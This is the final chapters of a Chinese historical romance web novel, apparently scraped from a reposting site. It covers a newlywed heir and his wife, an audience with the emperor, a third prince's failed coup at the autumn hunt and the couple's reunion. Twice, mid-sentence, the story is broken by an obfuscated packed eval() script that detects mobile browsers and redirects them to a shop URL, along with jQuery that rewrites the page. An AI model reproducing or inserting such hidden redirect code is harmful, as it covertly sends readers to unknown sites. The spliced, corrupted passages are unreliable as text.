姜明月撇了撇嘴,就知道跟他说没什么用。她坐在床边,仰着脸看周诩。 周诩还未梳洗,依旧穿着大红喜服,看样子是刚从前院回来的,身上的酒气却比她想象中要淡。 “世子是刚回来吗?” “嗯。” 说刚回来也没错。不过他刚才已经在外面散了一会酒气,又在一旁看了她一会。 姜明月点了点头。周诩见她似乎刚睡醒还有些懵懵懂懂,不由得笑了笑。 “我先去梳洗。” 等他梳洗回来后,便要歇下了吧。姜明月抿着唇,望着床上那一床被子,手指收紧,忍不住抠起上面的花纹。 她听着外间的声音,又不知道该不该去服侍他梳洗。 纠结了半天,她咬了咬牙,干脆钻进被子里,在床上躺下。 周诩回来时,就见房中的灯熄了一半,龙凤烛的烛光在暗中更加明显了。床榻上隆起一团,他的新婚妻子双眼紧闭,面朝着里面,俨然是已经睡下了。 姜明月感觉周诩在床边坐了下来,目光落在自己脸上。她不知道他要做什么,却也不敢动,只能僵直了身子。 许久,她听到周诩轻笑了一声,似是有些无奈。 “明月,若是你还没有睡,不如我们先说说话吧。” 姜明月抓着被子的手微微颤抖,却没有应他。 “你放心,我知你心中还有芥蒂,我不会碰你。只是,若是你连与我说话也不愿,难道要这么过一辈子吗?” 听到他这么说,姜明月猛地睁开眼,忍不住瞪向他。 原来他打的是这个主意! 见她睁开眼,周诩似乎松了口气,桃花眼微亮。然而他又怕她生气,连忙拉住她,“既然你没睡,那我们说说话吧。” “世子要与我说什么?” 姜明月也实在好奇,不知他会与自己说些什么。 周诩想了想,起身,从书架上拿过一个小木匣。 “这是我母亲留下来的。” 他将匣子递了过去。他纳征那一日便想将这些东西给她,不过被尚书夫人拒绝了,只让他自己交给姜明月。 姜明月打开匣子,见到里面的银票和地契,吓了一跳。她摇了摇头,将匣子合上,递给周诩。 “世子,我不能要——” 周诩不接。他垂下眼,目光温柔,“这本就是我母亲留给儿媳的。” 姜明月望着他,心绪复杂,沉默了许久。 不过,她最后倒是没有再让周诩收回匣子。 “我知道了。”她微微扬头,“那世子先帮我放好吧,我也不可能抱着它睡觉嘛。” “好。”周诩笑了起来,俊美的面容在微弱的烛火中柔和了不少,双眼却愈发熠熠生辉。 虽然周诩没让人留下来守夜,可是江嬷嬷不放心,便与孙嬷嬷轮流守了一夜。尽管才睡了两三个时辰,但等天蒙蒙亮时,江嬷嬷便醒了。清晨的风带着秋日的凉意,她才推开门便清醒了不少。 等来到新房,孙嬷嬷见了她,对她微微点头。 “世子和夫人……如何?” 前半夜二人便没有要水,房中也没什么动静。然而孙嬷嬷摇了摇头,江嬷嬷便知二人后半夜也没有什么动静。 想来是二人还没和好。江嬷嬷叹了口气,轻轻推开门,走了进去。 因为是赐婚,周诩与姜明月需要在成亲第二日先去宫中谢恩。皇帝自然不会一大早便接见他们,可是他们要是不早早收拾好在进宫求见,便是不敬了。 江嬷嬷先是在屏风后轻轻唤了一声,没得到回应,她怕耽误了时辰,只能硬着头皮绕过屏风,又唤了一声。 姜明月的睫毛颤了颤,只觉得一阵冷风吹了进来。她忍不住朝身旁温暖的地方靠近,她昨夜刚开始睡得不是很安稳,正要再睡,却突然听到江嬷嬷的声音。 她缓了好一会,才想起来江嬷嬷口中的“夫人”是在叫自己,也想起来自己身在何处。 她睁开眼,待看清眼前的情形,却像是眼前有什么洪水猛兽,让她猛地翻身向后退去,却忘了昨日自己睡在床的外侧,险些掉下床去。 周诩有些无奈,连忙伸手拉住她,将她拉了回来。 姜明月重新趴回他身上,看着他方才被自己扯开的领口,露出结实的胸膛,有些自暴自弃,干脆将脸埋进他怀中,只当自己看不见。 周诩替她顺了顺长发,轻轻拍了拍她的背,“今日要进宫,等回来了再接着睡。” 姜明月的头动了动,闷闷地“嗯”了一声。 周诩知道自己在她会不自在,便率先去了外房。江嬷嬷端了水来,伺候姜明月洗漱。 等她换了衣服,坐在梳妆台前梳妆时,周诩才走了进来。 他已经换了一身朝服,不过还未穿上外面的衫衣,取了书坐在一旁看。房中只有丫鬟取钗环碰撞发出的声音。 丫鬟将她的长发盘起,用金钗固定好,这才算结束。 “夫人,好了。”丫鬟退到一旁。 周诩闻声抬起头,将书放到桌上,起身去扶她。 二人上了马车时,天才刚亮,然而等见到皇帝时,却已是巳时。 周诩走进殿中,眼角余光扫过殿中众人,果然没有见到三皇子。今日在场的人除了皇帝,皇后和太子成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085487|145279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王也来了。 皇帝见到二人显然十分高兴,毕竟是自己成全的一对有情人,他现在年纪大了,更喜欢见到这种事。 他先前未曾见过姜明月,却见她见到自己,虽然难掩紧张,一举一动却无错处,放下心来。若是姜明月是个上不得台面的,那外人岂不是要觉得是他老人家坑了武昌侯府? 皇帝高兴了,便大手一挥,当场准了姜明月世子夫人的诰命,顺便让周诩携她一同去参加半个月后的秋猎。 皇后更不会为难姜明月,温声关心了她几句,便提议让二人先回去休息。 皇帝也善解人意地点头应允,让周诩二人带着赏赐回府便是。 等出了宫,重新上了马车,姜明月才长长松了口气。 “累吗?” 姜明月摇摇头,脸上却难掩困意。 周诩见状,便将她拉到身边,让她靠着自己休息一会。姜明月原本想拒绝,却还是抵不过睡意,也不再扭捏,将几根沉重的金钗取下,靠在他身上闭上眼。 等她靠着自己睡了,周诩才不动声色地松了口气,也靠着车壁闭目养神。 马车终于在武昌侯府前停了下来,然而二人却还不能直接去休息,需要先去拜见武昌侯夫妇与老夫人。 江嬷嬷重新替姜明月梳洗更衣后,红袖从外面走了进来,手中还拿着一个油纸袋。 随着她走近,姜明月闻到一阵香味。 “你拿的什么?” 红袖抿嘴笑着,将袋子放到一旁的桌上。 “是世子差随安买的桂花糕。世子说,让夫人再坚持一会。” 江嬷嬷也笑了,世子怎么哄小孩似的。 姜明月也察觉了,轻哼一声,却也没说什么。 等收拾完毕,姜明月出了房门,见周诩站在正在院子中等她。 她扭着帕子,想了想,还是上前。 “多谢世子的桂花糕……” “无事。”见她脸颊微微有些红,周诩笑笑,“走吧。” 原本应是在清晨与公婆见礼的,因着要进宫,这敬茶愣是拖到了晌午。武昌侯早就对长子的婚事释然了,待姜明月见了礼,他给了红封也就算完。张氏更不用说,见到女儿激动不已,只能强行让自己平静下来,听姜明月唤自己“母亲”。老夫人虽然觉得姜明月的出身有些不尽人意,可是长孙终于成亲了,她高兴得很,见着姜明月也没有不顺眼了。 除了这几位正经主子,其余的二老爷等人周诩是没心思再见了。他见姜明月露出疲惫的神色,便让她先回房休息,自己则是和武昌侯去书房准备秋猎之事。 姜明月吃了桂花糕便懒懒地歪在了榻上。江嬷嬷给她盖了毯子,不一会她便沉沉睡去。 然而姜明月再醒来,却是被硬生生痛醒的。 她捂住小腹,感觉那里传来一阵阵的疼痛,脸色有些苍白。 可她面上却没有多少意外,因为她知道,不过是自己月事快来了。 她甚至还有心思感慨,没想到自己新婚第二天,就要与夫君分房睡了呢。 40. 大结局 临近晚膳时,周诩才回了院子。 然而他走进正房,发现房中静悄悄的,别说姜明月,就连姜明月带来的那些丫鬟也不见。 周诩看向一旁守着的孙嬷嬷,“夫人呢?” “回世子,方才夫人午休起来,说是身体不适,搬去了偏房。” “身体不适为何要搬去偏房?” 世子语气淡淡,但是孙嬷嬷听得出他的不悦。于是她接着解释:“夫人是……来的月事。按理,也需要分房。” 周诩在原地站了一会,转身便朝偏房走去。 偏房门口,紫衣站在门前。见到周诩,她小心翼翼地上前,挡在他身前。 “世子,夫人说,说她身子不适,不能见,不能见世子!” “让开。” 紫衣没动,目光却看向她身旁的嬷嬷。 那嬷嬷见状,笑着走上前。 “世子,夫人身上不方便,您与夫人新婚燕尔,但也不急在这一时不是吗?” 见周诩看向自己,那嬷嬷欠身道:“奴婢是老夫人派来照顾世子夫人的。” 她原以为搬出老夫人后,世子便不会再执着。没想到周诩只是“嗯”了一声表示他知道了。 “我不过是见她一面都不可?”周诩觉得好笑,桃花眼却不带任何笑意,“还是你想借着祖母的名义拿捏我?” 那嬷嬷脸一白。她自然不敢拿捏周诩,可是老夫人不放心姜明月,不希望她影响周诩却是真的。 可见着世子这幅模样,她再不敢说什么。 姜明月脸色苍白倚在榻上,身上盖着厚厚的被子,冷汗却从额角沁出。她想掀开被子,可是一吹冷风,她就痛得更厉害了,只能保持着这个姿势不动。 红袖在一旁帮不上忙,只能帮她擦汗。江嬷嬷让厨房做了些糖水,盼着姜明月喝了能暖暖身子。 她捏着勺子,正要喂给姜明月,就听门口传来了请安声。她回头,果然就见世子冷着脸走了进来。 “世子。” 江嬷嬷起身,周诩见到姜明月的模样,眉头皱了起来。 他接过江嬷嬷手里的糖水,“我来吧。” “不必劳烦世子……” “为何换我就不行?你莫不是怕我做的不如江嬷嬷好?”周诩勾唇,声音轻柔。 她分明不是这个意思。姜明月张了张口,不知道该回答是还是不是。 江嬷嬷看了一眼姜明月,见她恹恹的却也没有拒绝,便将碗递给了周诩。 周诩知她此刻定是没什么力气说话的,也不再开口,耐心地端着碗,一勺一勺将糖水喂给她。 他坐在床边,微微倾身,眼睫低垂,不让糖水洒出来。几缕发丝垂下,显得他整个人柔和亲近了许多,不似往日那般让人看不透。 许是不习惯周诩如此,姜明月的注意力都集中在他身上,倒是觉得没那么疼了。 等喝完糖水,姜明月的脸色多了几分红润,看着比刚刚好了些。 “还难受得厉害吗?” 姜明月摇了摇头,有些不好意思。 “多谢世子,我好些了。就是头有些晕,休息一会就好了。” 周诩便不打扰她,只让她好好休息,站起身,看了江嬷嬷一眼。江嬷嬷心领神会,端着托盘,跟着周诩走出偏房。 老夫人派来的那嬷嬷还站在偏房外,见周诩走出来,她也松了口气。周诩心中嗤笑一声,也不理她,免得给姜明月找麻烦。 进了正房,周诩的神色才沉了下来。他在圈椅上坐下,看着身前的江嬷嬷,问道:“什么时候开始的?” 江嬷嬷知道他问的是什么。姜明月从前并没有这么严重,因此与周诩相处那些时日也没有像今天这般。 “夫人从前身体就比较弱,但自从那次落水之后,受了凉,也就加重了。” 周诩指尖在圈椅的扶手上轻点,他沉吟着,点了点头。 “找时间让随安去请医官来,莫要惊动其他人。” 姜明月这一觉直睡到戌时才醒来。她醒后,身上的不适好了许多,也感觉到了腹中饥饿。房中静悄悄的,不远处点了几盏灯,烛芯燃烧发出噼啪声。 红袖坐在一旁有些打瞌睡,忽然听到动静,一下子惊醒。 “夫人!你醒了?还难受吗?” 她上前,寻了件外衫披在她身上。 “好些了。”姜明月对她笑了笑,“有吃的吗?” “有!我去端来。” 她没有用晚膳,厨房便一直替她备着吃食。等姜明月吃完,夜已深了。外面守夜的也只剩两个小丫鬟。老夫人派来的那嬷嬷见正房熄了灯,偏房也没什么动静,便也下去休息了。红袖将灯熄灭,正要留在房中守夜,忽然就听门被推开。 她吓了一跳,连忙转头,就见世子走了进来,再往他身后看,随安也站在门外,那两个守夜的丫鬟不知去了哪里。 夫人明明说了要与世子分房,但看世子的样子是不准备这么做了。 既然世子来了,她也不好再留在房中。红袖没办法,只得朝周诩行了礼,退了下去。 临近深秋,夜晚也凉了起来。姜明月盖着被子,缩成一团。忽然,她感觉周身热了起来。姜明月蜷缩的身子慢慢放松,她抬手揉了揉眼睛。 “世子?” 她现在已经习惯夜里醒来见到他了。 周诩应了一声,顿了顿,接着又道,“我已经去请了擅长妇科的医官,改日让医官替你看看。” “好……” 深夜里,纱幔放下,姜明月看不清他的表情。因为看不清,她的胆子仿佛比白日里大了不少。 “世子,若是医官说我不能……有孩子,怎么办?”关于子嗣的问题她早就想过,或许是深夜里一时的冲动,她便鬼使神差地问了出来。 “无所谓。”几乎是不假思索地,周诩便回答了她。他接着顿了顿,似乎是在思索,过了一会又接着说:“你若是问我如何想,我并不在意。若是你喜欢孩子,我们再想办法就是。你若是担心侯府继承,左右府里不缺姓周的。” 姜明月似乎被他最后那一句逗笑了。听到她的笑声,周诩倒是愣了一下。 她笑着笑着,闭着的眼睛忽然有些酸涩。 “嗯,我知道了。” 说完,她没再出声。周诩听到她的呼吸逐渐平稳,知道她是睡着了。 周诩帮她将被子重新盖好,重新躺下。 他早就说了心悦她,为何她就是不信呢? 转眼半个月过去。期间姜明月的月事结束,她总算松了一口气,只觉得浑身都轻松了起来。红袖也松了一口气。夫人终于不用与世子分房了,她每晚见世子避开那嬷嬷过来都觉得累。 那嬷嬷也觉得自己功德圆满,去老夫人那里复命去了。老夫人听说姜明月这些天里也没有恃宠生娇,心中满意,也不再关注周诩院中的事。 而九月中,也迎来了皇帝一年一次的秋猎。 皇帝年轻时,并不太在意秋猎。他骑射功夫也就是过关而已,但是因为他是皇帝,身边的人没有不让着他的,每每拔得头筹他也觉得没什么意思。可是上了年纪后,他的想法就不同了。以前是和别人比,现在是和自己比,势必要让天下人知道他可是宝刀未老。 不仅如此,他还要让大家看看,什么叫虎父无犬子,那几个儿子若是功夫不行,也丢他的脸。于是这些年来,秋猎的阵势一年比一年大。今年也不知道他是怎么想的,居然允许登记了的平民来感受秋猎。 听说还是叶贵妃提出来的主意,说是与民同乐,正中皇帝的下怀。然而他这决定一出,却忙坏了负责这次秋猎的官员与禁军。 秋猎当日,皇家依仗浩浩荡荡出了京城,向着城郊的猎场行宫前进。 武昌侯府的马车也在其中。之前进宫时,皇帝便说过,要周诩与姜明月同去。二人自然不能抗旨。除了他二人,武昌侯有公事不在京中,老夫人年纪大了也不去,张氏没有兴趣,武昌侯府没有其他人同去。 等到了午后,车队才终于到了猎场。皇家行宫,虽不如皇宫那般金碧辉煌,却也修建得美仑美奂。可惜行宫只有皇帝和一众皇室居住,其余的人只能在行宫外安营扎寨。 姜明月从未住过帐篷,因此也不像其他人那样抱怨,反而新奇地在帐篷的简易床榻上坐了下来。 周诩将自己的马拴好,走了进来。 “距离圣上开宴还有些时间,你想不想去看日落?” 姜明月眼睛一亮,“可以看日落吗?” 周诩要带她去的地方在山间,若是只靠走肯定来不及。姜明月不会骑马,只能与周诩共乘一骑。这是姜明月第一次亲眼见周诩骑马。只见他将自己扶上马后,一个翻身也上了马。 马跑起来后速度极快。姜明月从没骑过马,尤其是马跑在山间,她只能紧紧靠在周诩怀里。 马在树林中跑了一阵,眼前豁然开朗,露出了一块平地。从这里望去,能看到远处的山峦和天空。 周诩勒住马,将姜明月抱了下来。姜明月抬起头,愣愣地看着眼前这一幕。夕阳西下,红日低垂,火红的余晖洒满了山间。 “世子,你是怎么找到这里的?” 周诩与她并肩站着,遥望着远方。闻言,他笑了一声。 “年少迷路时发现的。” 叶贵妃三皇子风头正盛时,太子刚立,根基不稳,武昌侯不是没有考虑过他们。那一年,周诩被武昌侯吩咐与三皇子交好。 然而三皇子却故意将他带进山后,扔下他走了。 这样的人,怎么可能成大事。 周诩桃花眼微眯。 不过他倒是因祸得福,发现了这个地方。 姜明月一愣,转头看向他。她想象不出周诩年少时迷路是什么样子。 可周诩没再说话,只静静地看着金光映照在天际,之后一点一点下移。 姜明月站在周诩身边,恍惚间,感觉天地间像是只剩下了他们二人,时间仿佛静止了一般。 等天色暗下来后,周诩才道:“回去吧。” 山间起了风,他将自己的披风取下来,给姜明月系上。 他将系带系紧时,突然说:“晚上圣上摆宴,若是有我不在你身边的时候,你便去寻皇后。” 他神色严肃,语气中隐隐透着冷意,姜明月一愣,不解其意。 “今晚,我怕三皇子一党有动作。” 晚宴时分,行宫之内点上了数不清的灯,整个大殿内灯火通明。行宫的大殿修在高处,从皇帝的主位上看向外面,便能看见漆黑的天空中的星河。 这是专门为了让皇帝能够从殿中观赏到之后的烟火设计的。山下,早有人布置好了烟花爆竹,只等时辰到了点燃。 穿着布衣的寻常百姓逐渐朝行宫的方向围了过来。有巡逻的禁军发现了他们,也没说什么,只是在他们还想靠近之时,拔剑拦住了他们。 丝竹管弦之声从殿中传了出来。百姓们留神地听着,禁军们见状,也放松下来,不由得也分神关注着行宫中的动静。 宴会举行到一半,殿外忽然升起第一支烟火。 烟花在空中绽放,禁军们也不免被那火树银花所吸引。 就在他们抬头去看时,他们身前的百姓却忽然从腰中拔出刀剑,不等他们回过神,狠狠刺进了他们的胸膛,一招毙命。 空中的烟花还在绽放,谁也不知道行宫外已是一片混乱。那些扮作百姓的士兵脱去外面的布衣,举着兵器,开始逼近行宫。 而行宫内,丝竹之声戛然而止,一群黑甲士兵闯了进来,将殿内众人团团围住。 “护驾——护驾!” 内监尖锐的声音响起,夹杂着尖叫声,叫骂声,整个大殿一下子陷入混乱。 “去寻皇后。” 周诩在姜明月耳边说完,站起身,也从身后匆匆跑进来的随从那拔出剑来。 他已经与太子成王安排好了,会护送皇后与姜明月回京,而他们要留在这里,将谋逆的三皇子一党伏诛。 至于皇帝,他不留在这里亲眼看着自己儿子谋逆,回头又心软了怎么办? 姜明月点了点头,知道周诩早有安排,不敢耽搁。 “世子小心。” 她只能留下这一句,说完,跟着从枫飞快往后殿走去。 三皇子将殿中大多数皇亲国戚和官员都控制了起来。他提着剑,上面还沾着不知道哪一个官员的血,一步一步走近皇帝。 “老三,你这是做什么!” 皇帝坐在龙椅上,被周诩太子护在中间,第一次如此清晰地感受到孝子和逆子的差距。 “父皇还看不出来吗?我没有要做什么,我只是想让父皇您下一道圣旨,废了太子,改立我为太子,再传位与我就好。” “你!”皇帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14098609|145279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痛心疾首,“弑父杀兄,你就不怕背上千古骂名!” 三皇子像是听到了什么笑话一样,“我也没说要杀了您啊。再说了,待我登基了,天下人又怎么会知道我做了什么?” 他这话说完,殿中其他人都打了个冷颤。难不成不杀皇帝,是杀他们灭口? “你!” 皇帝指着他,再也说不出话来。 “三弟,你若是此时收手还不晚。” 太子见皇帝已经见识过三皇子的真面目,那就是自己展示的时候了。 “你有什么资格与我说这些?”三皇子冷笑一声,眼中满是仇恨。 皇帝看得清楚,闭了闭眼。 他提着剑就要冲上来时,忽然听见外面一阵喧哗。三皇子大惊失色,回头看去,却见他的一名心腹慌慌张张地跑了进来。 “殿下,不好了,不好了,后面有军队围上来了。” “是谁的兵!” “不知道,就是其中有一人,看着像是,像是武昌侯……” 皇帝一听救兵到了,松了口气,腰杆也直起来了。 “老三,此时收手还不晚——” 不等他说完,殿中又慌慌张张跑进一人。他灰头土脸,瞧着是内监的打扮。他连滚带爬地来到殿中,“圣上!外面的叛军已经被击退了!只是那叛军抓了,抓了武昌侯世子夫人,让我转告世子,若是想要救人,就自己前来,一命换一命……” 叶荣峰带兵造反,眼见大势已去,本是绝望至极,却被妹妹叶贵妃告知,她发现了皇后的踪影。然而等他的人赶过去时,却被皇后给逃了,还听说,是在那劳什子的武昌侯世子夫人的帮助下。 这下叶荣峰可气坏了,他觉得武昌侯一家就是来克他的。 索性大势已去,他做的这些事必定是株连九族的罪了,倒不如拉个垫背的。 要是周诩来了,那他便新仇旧恨一起算。要是周诩不来,那他便杀了他妻子,也能给他留下一个不好的名声。 想好了,他便命人将姜明月带过来,让那个小内监进去传话,自己就在原地等着。 不过一会,他果然就见到人群分开,周诩提着剑,走了过来。 “如何?周世子你是想好了,拿自己的命来换,还是要看着自己妻子因你而死?” 他的刀架在姜明月的脖子上,得意地看着周诩。 “看你提着剑,是两个都不想选?反正我今日是必死无疑了。就看是你的剑快,还是我的刀快。” 他身后是悬崖,姜明月被他架在身前,弓箭手也无法轻易射箭。周诩看着他,微微一笑,手一松,手中的剑落地。 “你恨的人是我,便让我来换她。” “周诩!” 身后,武昌侯听到他这么说,忍不住出声。比起这个儿媳,自然是儿子更重要。他恨不得替叶荣峰结果了姜明月,可是又听说姜明月救了皇后,若是他杀了皇后的救命恩人,那他不得被恨死? 可是周诩像是听不到似的,走向叶荣峰。 叶荣峰挑眉,有些惊讶,不过紧接着又感到一阵畅快。武昌侯怎么也没想到,他这么努力为太子卖命,自己儿子会落得这个下场吧? 等周诩走到他身前,离他只有一步之遥时停了下来。 “叶大人,放人吧?” “你放心,等我的刀架到你脖子上,我自然会放了她。” 姜明月不能说话,只能望着眼前的人一步步走近。她想让他不要再过来了,可惜周诩从头到尾都没有看她一眼。 等周诩走到她身前时,叶荣峰飞快一个反手,刀锋向外朝周诩挥去。姜明月被人拉住,甩到了一边。她踉踉跄跄朝前走了几步才站稳。回过头时,就见叶荣峰的刀落了地,胸前还插着一支箭矢,然而他却死死拉住了周诩的手臂,朝山崖下摔去。 天光乍亮,昨日还是歌舞升平的行宫,此刻却一片死寂。 宫人在打扫昨夜的狼藉。地上的血迹用水冲刷了无数次才淡去。皇帝一夜之间就病倒了,由太子出面安抚世家官员。 皇后坐在寝殿中,见内监匆匆从前面回来,便忍不住焦急地问道:“人找到了吗?” 内监死死低着头,闻言,摇了摇头。 皇后看向坐在一旁一声不吭,只望着窗外的姜明月,叹了口气。 谁也没想到,武昌侯世子就这么掉下了山崖。 叶荣峰中了箭必死无疑,叶家下狱,叶贵妃畏罪自尽,三皇子倒是没死,不过却被关进了地牢之中。 皇后知道,若是让姜明月回武昌侯府,那她定会遭武昌侯的埋怨。 而姜明月正是为了救她才如此的,皇后怎么能让她再受委屈? 于是回京后,皇后直接将姜明月接进了她的宫中。 而姜明月看着倒是还好,只是却极少说话,每日大多数时候便是望着窗外。红袖与江嬷嬷瞧着都十分心疼。期间尚书夫人和张锦青也进宫看望过她一次,觉得她总不能一直这么等下去。 姜明月摇摇头,“世子与我说过,不用担心他。” 那是周诩与她说的最后一句话,可惜还有后半句,她却还没来得及听到。 不知不觉中,宫廷中的树落叶还未完全凋零,便已被银装素裹。京城下起了大雪,成王也不得不暂停了寻找周诩。姜明月每日望着窗外那棵桃树,就见它枝头的冰雪一日日减少,直至完全消融,露出嫩绿的新叶。 一个雨夜后,枝头的桃花悄然开放,而成王也终于得到了周诩的消息。 得知周诩还活着时,他马不停蹄地将消息传进了宫中。 皇后喜极而泣,立马给姜明月备了车,让她出宫去见他。 马车快要行驶到那猎户的小院时,姜明月突然紧张了起来。她紧紧攥着手中的帕子,心也跳得飞快。 “夫人,到了。” 车夫放下凳子,红袖扶着姜明月下了马车,走进院子中。 树下坐着一人,穿着一身棉布制成的青衫,正捧着书在看。 姜明月怔怔地望着眼前的人,眼泪顺着脸颊流了下来。 “世子……” 周诩抬起头,见到她的那一刻,放下书本站起身,桃花眼中满是潋滟的笑意。 “明月,我回来了。” “世子还记得,那一夜最后要与我说的是什么吗?” “我记得。那一夜,我本想说的是,我心悦你。”